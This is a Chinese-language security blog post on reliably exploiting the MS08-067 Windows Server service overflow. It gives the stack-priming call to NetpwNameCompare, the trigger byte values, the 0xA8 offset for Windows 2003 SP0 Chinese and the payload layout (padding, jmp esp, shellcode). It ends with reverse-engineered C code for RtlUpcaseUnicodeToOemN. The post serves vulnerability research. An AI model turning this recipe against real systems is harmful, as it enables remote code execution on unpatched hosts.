河北网络安全博客

河北博客是一个关注网络安全、网站设计、网站推广、网站优化SEO、网站建设的河北地方博客。

« 零日攻击的原理与防范方法思科进军服务器市场挑战惠普IBM »

MS08-067 稳定利用方法

        MS08-067的问题出在一个格式化路径的函数上,暂命名为ConvertPathMacros,它的工作就是去掉路径中的.\和..\, 例如传入路径为:”\A\B\.\C\..\D\..\..\E”,则经过它的处理后会变成”\A\E”。如果给出一个恶意路径,例如”\A\..\..\..\E”,则它会越过目录A去寻找上层目录,从而造成错误的发生。

这个漏洞的原理在很多文章中都解释的非常详细了,但是关于漏洞利用的文章却比较少(可能是我没找到),也没有文章描写如何找到栈上的那个关键的反斜杠。参考了其他高手写的exploit和自己的分析,总结了下稳定利用的方法:

为了利用该漏洞,必须使漏洞函数调用之前执行另一个函数,是栈上残留数据。这个函数我参考了一个高手(EMM@ph4nt0m.org)写的exploit,选择了NetpwNameCompare。

跟踪NetpwNameCompare后发现,该函数最后会调用RtlUpcaseUnicodeToOemN函数向缓冲区写入大量信息,而这些信息最终会残留在栈中,最后留给漏洞函数。

分析源代码,知道了如果参数中含有如下的字符时,会在缓冲区中留下一个反斜杠。
0x2010,0x2011,0x2012,0x2558,0x4e57,0x4fd3,0x50dc,0x5213,0x533c,0x54f1,0x5630,0x573d,0x5861...........

另外要注意这个反斜杠必须是个UNICODE的反斜杠,即”\x5c\x00”,反斜杠后面的必须跟一个”\x00”,这个”\x00”用字符串的0结尾来代替即可。在字符串在前面加上一个ASCII字符的UNICODE,如"\x4c\x00",以"\x4c\x00\x10\x20"入参,则在栈上得到的结果为"\x4c\xXX\x5c\x00",正好包含一个UNICODE反斜杠。

最后,以如下的参数来调用NetpwNameCompare
NetpwNameCompare(L"LittleWallE",(wchar_t *)"\x4c\x00\x10\x20",(wchar_t *)"\x4D\x00\x10\x20",4,0);
就可以在栈上稳定的留下一个反斜杠,在windows2003 sp0 中文版上,这个反斜杠距离溢出位置为0xA8.

即构造字符串.\\x\..\..\(0xA8个无用字符)(jmp esp)(ShellCode),即可稳定利用该漏洞。


附上RtlUpcaseUnicodeToOemN的逆向代码: 复制内容到剪贴板
代码:
#define BYTE_HIGH(var) ((var&0xf0)>>4)
#define BYTE_LOW(var) (var&0xf)
#define WORD_HIGH(var) ((var&0xff00)>>8)
#define WORD_LOW(var) (var&0xff)
#define DWORD_HIGH(var) ((var&0xffff0000)>>16)
#define DWORD_LOW(var) (var&0xffff)
/**********************************************************************
*function:将argc_SrcBuffer的字符逐个进行编码表转换后放入栈上的缓冲区中
*author: LittleWallE#yahoo.cn
***********************************************************************/
RtlUpcaseUnicodeToOemN(char * arg0_DstBuffer, //栈上的缓冲区
int arg4_DstBufferLength, //栈上的缓冲区长度
int * arg8_NoUse,
WCHAR *argc_SrcBuffer, //入参
int arg10_SrcBufferLength //入参长度)
{
       char *MatrixA;//mark:dword_7c9b8e94=,一个表格,内容是0000 0100 0200 0300..一直继续下去,可能是某种编码表
       char *MatrixB;//mark:dword_7C9B8A04 另一个编码表。

       char *MatrixUnknownA;//mark:word_7c9b8c90; 映射区域,不确定其功能;
       char *MatrixUnknownB;//mark:dword_7C9B8E90;映射区域,不确定其功能;
       char *MatrixUnknownC;//mark:dword_7C9B779C;映射区域,不确定功能;

       int var_8_SrcRealLength=arg10_SrcBufferLength/2;

       if(var_8_SrcRealLength==0)
              return 0;

       while(1)
       {
              if(arg4_DstBufferLength==0)
                     break;
              WCHAR wcSrcChar_1=*argc_SrcBuffer;
              argc_SrcBuffer++;

              WCHAR wcSrcChar_2=MatrixA[wcSrcChar_1*2];

              wcSrcChar_2_high=WORD_HIGH(wcSrcChar_2);
              wcSrcChar_2_high=MatrixUnknownB[wcSrcChar_2_high*2];
              wcSrcChar_2_low=WORD_LOW(wcSrcChar_2);
              WCHAR wcSrcChar_3;
              if(wcSrcChar_2_high==0)
              {
                     wcSrcChar_3=MatrixB[wcSrcChar_2_low*2];
              }else
              {
                     int index=wcSrcChar_2_high+wcSrcChar_2_low;
                     wcSrcChar_3=MatrixUnknownB[index*2];
              }
              if(wcSrcChar_3>='a'&&wcSrcChar_3<='z')
              {
                     wcSrcChar_3+=0x0ffe0;
              }else{
                     char wcSrcChar_3_high=WORD_HIGH(wcSrcChar_3);
                     wcSrcChar_3_high=MatrixUnknownC[wcSrcChar_3_high*2];
                     char wcSrcChar_3_byte_high=BYTE_HIGH(wcSrcChar_3);
                     wcSrcChar_3_high+=wcSrcChar_3_byte_high;
                     wcSrcChar_3_high=MatrixUnknownC[wcSrcChar_3_high*2];
                     char wcSrcChar_3_byte_low=BYTE_LOW(wcSrcChar_3);
                     wcSrcChar_3_high+=wcSrcChar_3_byte_low;
                     wcSrcChar_3+=wcSrcChar_3_high;
              }//上面这段类似不可逆的加密算法
              WCHAR wcSrcChar_4=MatrixA[wcSrcChar_3*2];
              char wcSrcChar_4_high=WORD_HIGH(wcSrcChar_4);
              char wcSrcChar_4_low=WORD_LOW(wcSrcChar_4);
              if(wcSrcChar_4_high!=0)
              {
                     if(arg4_DstBufferLength<2)
                            break;
                     *arg0_DstBuffer=wcSrcChar_4_high; //这里写入栈上的缓冲区
                     arg0_DstBuffer++;
                     arg4_DstBufferLength--;
              }
              *arg0_DstBuffer=wcSrcChar_4_low;  //这里写入栈上的缓冲区
              arg0_DstBuffer++;
              arg4_DstBufferLength--;
              var_8_SrcRealLength--
              if(arg4_DstBufferLength==0||var_8_SrcRealLength==0)
                     break;
       }
}




发表评论:

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

订阅河北博客

  • 订阅我的博客:订阅我的博客
  • 关注新浪微博:关注新浪微博
  • 关注腾讯微博:关注腾讯微博
  • google reader
  • 鲜果
  • 抓虾
  • QQ邮箱

河北博客站内搜索

河北博客相关链接

河北博客热文排行

最近发表

Powered By kingwq's blog

本站采用创作共用版权协议, 要求署名、非商业用途和保持一致. 转载本站内容必须也遵循“署名-非商业用途-保持一致”的创作共用协议.
This site is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 2.5 License.冀ICP备09002514号.Copyright www.kingwq.cn.2010